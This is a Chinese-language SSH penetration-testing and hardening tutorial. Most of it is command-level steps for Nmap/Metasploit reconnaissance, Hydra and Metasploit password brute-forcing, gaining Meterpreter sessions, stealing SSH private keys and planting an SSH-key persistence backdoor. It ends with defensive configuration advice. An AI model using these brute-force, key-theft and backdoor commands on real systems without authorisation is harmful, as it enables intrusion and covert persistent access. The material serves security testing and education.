SSH服务安全测试
字数 885 2025-08-25 22:59:09
SSH服务安全测试与防御指南
一、SSH协议概述
Secure Shell(SSH)是一种加密的网络传输协议,可在不安全的网络中为网络服务提供安全的传输环境。SSH通过在网络中建立安全隧道来实现SSH客户端与服务器之间的连接。
关键点:
- SSH协议本身是安全的,但实现(如OpenSSH)可能存在漏洞
- 管理员配置不当或使用弱密码会导致安全隐患
- SSH服务通常运行在22端口,但可以修改为其他端口
二、SSH信息收集
1. 使用Nmap扫描
nmap -p 22 -sV x.x.x.x
参数说明:
-p 22:指定扫描22端口-sV:探测服务版本信息
2. 使用Metasploit辅助模块
use auxiliary/scanner/ssh/ssh_version
set RHOSTS x.x.x.x
run
功能:
- 识别SSH服务版本
- 确认SSH端口开放状态
三、SSH密码暴力破解
1. 使用Hydra工具
hydra -l 用户名 -P 密码字典 -t 线程 -o ssh.log -vV 目标ip ssh
参数说明:
-l:指定用户名-P:指定密码字典-t:设置线程数-o:保存结果到文件-vV:显示详细过程
2. 使用Metasploit模块
use auxiliary/scanner/ssh/ssh_login
set RHOSTS x.x.x.x
set PASS_FILE /path/to/password.txt
set STOP_ON_SUCCESS true
set USER_FILE /path/to/user.txt
set VERBOSE true
set THREADS 10
run
特点:
- 破解成功后直接获得shell
- 可设置破解成功后停止
- 支持多线程
四、获取Meterpreter会话
1. 升级已有shell
sessions -u 会话ID
2. 使用SSH凭证获取
use exploit/multi/ssh/sshexec
set RHOSTS x.x.x.x
set USERNAME root
set PASSWORD password
set SRVHOST 本机IP
run
五、SSH密钥认证配置
1. 生成RSA密钥对
ssh-keygen
cd /root/.ssh
cat id_rsa.pub >> authorized_keys
2. 禁用密码认证
vim /etc/ssh/sshd_config
# 修改以下配置
PasswordAuthentication no
systemctl restart sshd.service
3. 使用密钥登录
ssh -i id_rsa root@x.x.x.x
六、利用私钥获取会话
1. 使用Metasploit模块
use auxiliary/scanner/ssh/ssh_login_pubkey
set RHOSTS x.x.x.x
set USERNAME username
set KEY_PATH /path/to/id_rsa
run
七、窃取SSH密钥
1. 使用后渗透模块
use post/multi/gather/ssh_creds
set SESSION 会话ID
run
2. 使用窃取的密钥
chmod 600 id_rsa
ssh -i id_rsa root@x.x.x.x
八、创建SSH后门
1. 使用后渗透模块
use post/linux/manage/sshkey_persistence
set SESSION 会话ID
set USERNAME username
run
九、SSH安全防御措施
1. 修改默认端口
vim /etc/ssh/sshd_config
# 修改Port 22为其他端口
# 防火墙放行
firewall-cmd --zone=public --add-port=新端口/tcp --permanent
firewall-cmd --reload
# SELinux配置
yum -y install policycoreutils-python
semanage port -a -t ssh_port_t -p tcp 新端口
systemctl restart sshd.service
2. 加强口令策略
- 8位以上复杂密码
- 大小写字母、数字、特殊符号组合
- 定期更换密码
3. 限制应用用户登录
useradd username -s /sbin/nologin
4. 使用PAM限制登录尝试
vim /etc/pam.d/sshd
# 添加以下内容
auth required pam_tally2.so deny=3 even_deny_root root_unlock_time=60 unlock_time=60
5. 及时更新SSH版本
- 定期检查并安装安全更新
- 关注安全公告,及时修补漏洞
总结
SSH服务的安全防护需要从多个层面进行:
- 信息收集阶段:了解攻击者的探测手段
- 认证安全:强化密码策略或使用密钥认证
- 服务配置:修改默认端口,限制登录尝试
- 系统维护:及时更新补丁,监控异常登录
通过综合运用这些防御措施,可以显著提高SSH服务的安全性,降低被攻击的风险。